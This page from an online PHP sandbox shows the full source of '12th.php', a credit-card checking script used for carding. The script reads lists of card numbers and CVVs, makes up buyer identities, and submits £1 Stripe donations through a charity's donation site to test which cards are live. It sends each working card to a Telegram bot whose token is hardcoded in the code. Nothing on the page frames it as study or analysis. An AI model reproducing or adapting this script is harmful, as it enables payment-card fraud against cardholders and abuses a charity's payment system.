12th - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of 12th.php

  1. <?php
  2. ob_start();
  3. error_reporting(0);
  4. $timeZone = $_GET['timezone'];
  5. date_default_timezone_set($timeZone);
  6.  
  7. /*======| Functions & Variables |======*/
  8.  
  9. function getStr($string, $start, $end)
  10. {
  11.     $string = " " . $string;
  12.     $ini = strpos($string, $start);
  13.     if ($ini == 0)
  14.         return "";
  15.     $ini += strlen($start);
  16.     $len = strpos($string, $end, $ini) - $ini;
  17.     return substr($string, $ini, $len);
  18. }
  19.  
  20. function multi_explode($delimiters, $string)
  21. {
  22.     $delimiter_replace = str_replace($delimiters, $delimiters[0], $string);
  23.     $explode_result = explode($delimiters[0], $delimiter_replace);
  24.     return $explode_result;
  25. }
  26.  
  27. $cards = $_GET['cards'];
  28. $tgu = $_GET["tguser"];
  29. $tgt = $_GET["tgtoken"];
  30. if ($tgt == "empty") {
  31.     $tgtoken = '6668744914:AAH5QvoJd6P1OWIZepkP70P-Msr0FHUd7bo';
  32. } else {
  33.     $tgtoken = $tgt;
  34. }
  35.  
  36. $exploded = multi_explode(array(":", "|", "", "/", " ", "-"), $cards);
  37. $cc = $exploded[0];
  38. $mo = $exploded[1];
  39. $yr = $exploded[2];
  40. $cvv = $exploded[3];
  41. $bin = substr($cc, 0, 6);
  42. $clearCC = "$cc|$mo|$yr|$cvv";
  43.  
  44. if (strlen($mo) == 1) $mo = "0$mo";
  45. if (strlen($yr) == 2) $yr = "20$yr";
  46.  
  47. function sendMessage($botToken, $tgu, $txt) {
  48.     $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
  49.     $postData = [
  50.         'chat_id' => $tgu,
  51.         'text' => $txt,
  52.         'parse_mode' => 'HTML'
  53.     ];
  54.     $ch = curl_init($url);
  55.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  56.     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
  57.     $res = curl_exec($ch);
  58.     curl_close($ch);
  59.     return $res;
  60. }
  61.  
  62. function time1($val){
  63.     $endtime = microtime(true);
  64.     $time = $endtime - $val;
  65.     $time = substr($time, 0, 4);
  66.     return $time;
  67. }
  68. $mytime = 'time1';
  69. $starttime = microtime(true);
  70. $took = $mytime($starttime);
  71. $time = $took . 's';
  72.  
  73. /*======| BIN LOOKUP |======*/
  74.  
  75. $binchk = curl_init();
  76. curl_setopt($binchk, CURLOPT_URL, 'https://lookup.binlist.net/' . $cc . '');
  77. curl_setopt($binchk, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  78. curl_setopt(
  79.     $binchk,
  80.     CURLOPT_HTTPHEADER,
  81.     array(
  82.         'Host: lookup.binlist.net',
  83.         'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
  84.         'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
  85.     )
  86. );
  87. curl_setopt($binchk, CURLOPT_FOLLOWLOCATION, 1);
  88. curl_setopt($binchk, CURLOPT_RETURNTRANSFER, 1);
  89. curl_setopt($binchk, CURLOPT_POSTFIELDS, '');
  90. $binData1 = curl_exec($binchk);
  91. $binjson = json_decode($binData1, true);
  92. $emoji = $binjson["country"]["emoji"];
  93. $scheme = $binjson["scheme"];
  94. $brand = $binjson['brand'];
  95. $bank = $binjson['bank']['name'];
  96. if (strpos($binData1, '"type":"credit"') !== false) {
  97.     $type = 'credit';
  98. } else {
  99.     $type = 'debit';
  100. }
  101. curl_close($binchk);
  102.  
  103. /*======| RANDOMIZING DETAILS |======*/
  104.  
  105. $headersbin = array(
  106.     "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
  107.     "Pragma: no-cache",
  108.     "Accept: */*"
  109. );
  110.  
  111. $ch = curl_init();
  112. curl_setopt($ch, CURLOPT_URL, "https://randomuser.me/api?nat=us");
  113. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  114. curl_setopt($ch, CURLOPT_HTTPHEADER, $headersbin);
  115. $rand = curl_exec($ch);
  116. $randj = json_decode($rand, true);
  117. $firstname = $randj["results"][0]["name"]["first"];
  118. $lastname = $randj['results'][0]['name']['last'];
  119. $phone = $randj['results'][0]['phone'];
  120. $zip = $randj['results'][0]['location']['postcode'];
  121. $state = $randj['results'][0]['location']['state'];
  122. $email = $randj['results'][0]['email'];
  123. $city = $randj['results'][0]['location']['city'];
  124. $street = $randj['results'][0]['location']['street'];
  125. $serve_arr = array("gmail.com", "outlook.com");
  126. $serv_rnd = $serve_arr[array_rand($serve_arr)];
  127. $gmail = str_replace("example.com", $serv_rnd, $email);
  128.  
  129. $dataset = json_decode(file_get_contents('./sk.json'), true);
  130. $bans = $dataset["blocked_bins"];
  131.  
  132. /*======| START |======*/
  133.  
  134. if (in_array($bin, $bans)) {
  135.     echo "<span>❌ BIN BANNED !</span><br><span>➤ CC : $clearCC</span><br><span class='uppercase'>➤ BIN : $scheme | $type | $brand</span><br>";
  136. } else {
  137. $headers = array(
  138.     "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  139.     "accept-encoding: gzip, deflate, br",
  140.     "accept-language: en-US,en;q=0.9",
  141.     "cache-control: max-age=0",
  142.     "sec-ch-ua: \"Google Chrome\";v=\"111\"\"Not(A:Brand\";v=\"8\"\"Chromium\";v=\"111\"",
  143.     "sec-ch-ua-mobile: ?0",
  144.     "sec-ch-ua-platform: \"Windows\"",
  145.     "sec-fetch-dest: document",
  146.     "sec-fetch-mode: navigate",
  147.     "sec-fetch-site: cross-site",
  148.     "sec-fetch-user: ?1",
  149.     "upgrade-insecure-requests: 1",
  150.     "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
  151. );
  152.  
  153. $ch = curl_init();
  154. curl_setopt($ch, CURLOPT_URL, "https://12th-man.org.uk/donate");
  155. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  156. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  157. $response = curl_exec($ch);
  158.  
  159. $num = rand(55, 455);
  160. $guid = uniqid();
  161. $sid = uniqid();
  162. $muid = uniqid();
  163. $deftime = "1";
  164.  
  165. $payload = array(
  166.     "action" => "donations-stripe-setup",
  167.     "data" => array(
  168.         "step" => 1,
  169.         "select" => 10,
  170.         "amount" => "1",
  171.         "trade" => "12th Man",
  172.         "firstname" => $firstname,
  173.         "lastname" => $lastname,
  174.         "email" => "gpu-don" . $num .  "@gmail.com",
  175.         "method" => "card",
  176.         "message" => "",
  177.         "gdpr" => false,
  178.         "token" => "435fglspdmgrw3445gfdg455hg"
  179.     )
  180. );
  181.  
  182. $id_headers = array(
  183.     "accept: */*",
  184.     "accept-language: en-GB,en-US;q=0.9,en;q=0.8",
  185.     "cache-control: no-cache",
  186.     "content-type: application/json",
  187.     "pragma: no-cache",
  188.     "sec-ch-ua: \"Not:A-Brand\";v=\"99\"\"Chromium\";v=\"112\"",
  189.     "sec-ch-ua-mobile: ?1",
  190.     "sec-ch-ua-platform: \"Android\"",
  191.     "sec-fetch-dest: empty",
  192.     "sec-fetch-mode: cors",
  193.     "sec-fetch-site: same-origin",
  194.     "cookie: _ga=GA1.3.1966450108.1691328405; _gid=GA1.3.1554455488.1691328405; __stripe_mid=7e8f1b8a-71a4-4731-9a3a-1c7ad1cb98c4759f6c; __stripe_sid=ab127afb-3e65-4f3f-8f62-f1215b2c160609ae50; _gat=1; _ga_EELZ47YXCB=GS1.3.1691328408.1.1.1691330625.0.0.0"
  195. );
  196.  
  197. $ch = curl_init();
  198. curl_setopt($ch, CURLOPT_URL, "https://12th-man.org.uk/api");
  199. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  200. curl_setopt($ch, CURLOPT_POST, true);
  201. curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
  202. curl_setopt($ch, CURLOPT_HTTPHEADER, $id_headers);
  203. $response = curl_exec($ch);
  204. $data = json_decode($response, true);
  205.  
  206. $id = $data["data"]["intent_id"];
  207. $cli = $data["data"]["client_id"];
  208. $pk = $data["data"]["pub_key"];
  209.  
  210. $payload = array(
  211.     "source_data[type]" => "card",
  212.     "source_data[card][number]" => $cc,
  213.     "source_data[card][cvc]" => $cvv,
  214.     "source_data[card][exp_month]" => $mo,
  215.     "source_data[card][exp_year]" => $yr,
  216.     "source_data[owner][address][postal_code]" => $zip,
  217.     "source_data[guid]" => $guid,
  218.     "source_data[muid]" => $muid,
  219.     "source_data[sid]" => $sid,
  220.     "source_data[pasted_fields]" => "number",
  221.     "source_data[payment_user_agent]" => "stripe.js/a5288ed6e1; stripe-js-v3/a5288ed6e1",
  222.     "source_data[time_on_page]" => "79678",
  223.     "expected_payment_method_type" => "card",
  224.     "use_stripe_sdk" => "true",
  225.     "key" => $pk,
  226.     "client_secret" => $cli
  227. );
  228.  
  229. $pay_headers = array(
  230.     ":scheme: https",
  231.     "accept: application/json",
  232.     "accept-encoding: gzip, deflate, br",
  233.     "accept-language: en-US,en;q=0.9",
  234.     "origin: https://js.stripe.com",
  235.     "referer: https://js.stripe.com/",
  236.     "sec-ch-ua: \"Google Chrome\";v=\"111\"\"Not(A:Brand\";v=\"8\"\"Chromium\";v=\"111\"",
  237.     "sec-ch-ua-mobile: ?0",
  238.     "sec-ch-ua-platform: \"Windows\"",
  239.     "sec-fetch-dest: empty",
  240.     "sec-fetch-mode: cors",
  241.     "sec-fetch-site: same-site",
  242.     "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
  243. );
  244.  
  245. $ch = curl_init();
  246. curl_setopt($ch, CURLOPT_URL, "https://api.stripe.com/v1/payment_intents/$id/confirm");
  247. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  248. curl_setopt($ch, CURLOPT_POST, true);
  249. curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
  250. // curl_setopt($ch, CURLOPT_HTTPHEADER, $pay_headers);
  251. $response = curl_exec($ch);
  252. $result = json_decode($response, true);
  253.  
  254. if (isset($result['error'])) {
  255.     echo '<span>┏ ❌ DEAD CC !</span><br><span class="uppercase">┠ RESPONSE : '.$result['error']['code'].' - '.$result['error']['decline_code'].'</span><br><span class="uppercase">┠ MSG : '.$result['error']['message'].'</span><br><span>┗ CC : ' . $clearCC . '</span><br>';
  256. } elseif (isset($result['status']) && $result['status'] === 'succeeded') {
  257.     echo '┏<span class="text-[#ff822d]"> ⚡ DONATION SUCCESS !</span><br><span class="uppercase">┠ RESPONSE : £1 - THANK YOU !</span><br><span>┠ CC : <span class="select-all">' . $clearCC . '</span></span><br><span class="uppercase">┗ BIN : ' . $scheme . ' | ' . $type . ' | ' . $brand . '</span><br>';
  258.     sendMessage($tgtoken, $tgu, "⚡ ???????????????? ???????????????????????????????????? !\n➥ ???????? : <code>$clearCC</code>\n➥ ???????????? : <code>£1 successed</code>\n➥ ???????????????? : $time");
  259. } else {
  260.     echo '<span>┏ ❌ DEAD CC !</span><br><span>┠ RESPONSE : <code>'.$response.'</code></span><br><span>┗ CC : ' . $clearCC . '</span><br>';
  261. }
  262. curl_close($ch);
  263. }
  264. ob_flush();
  265. ?>
File Description
  • 12th
  • PHP Code
  • 17 Sep-2023
  • 9.52 Kb
You can Share it: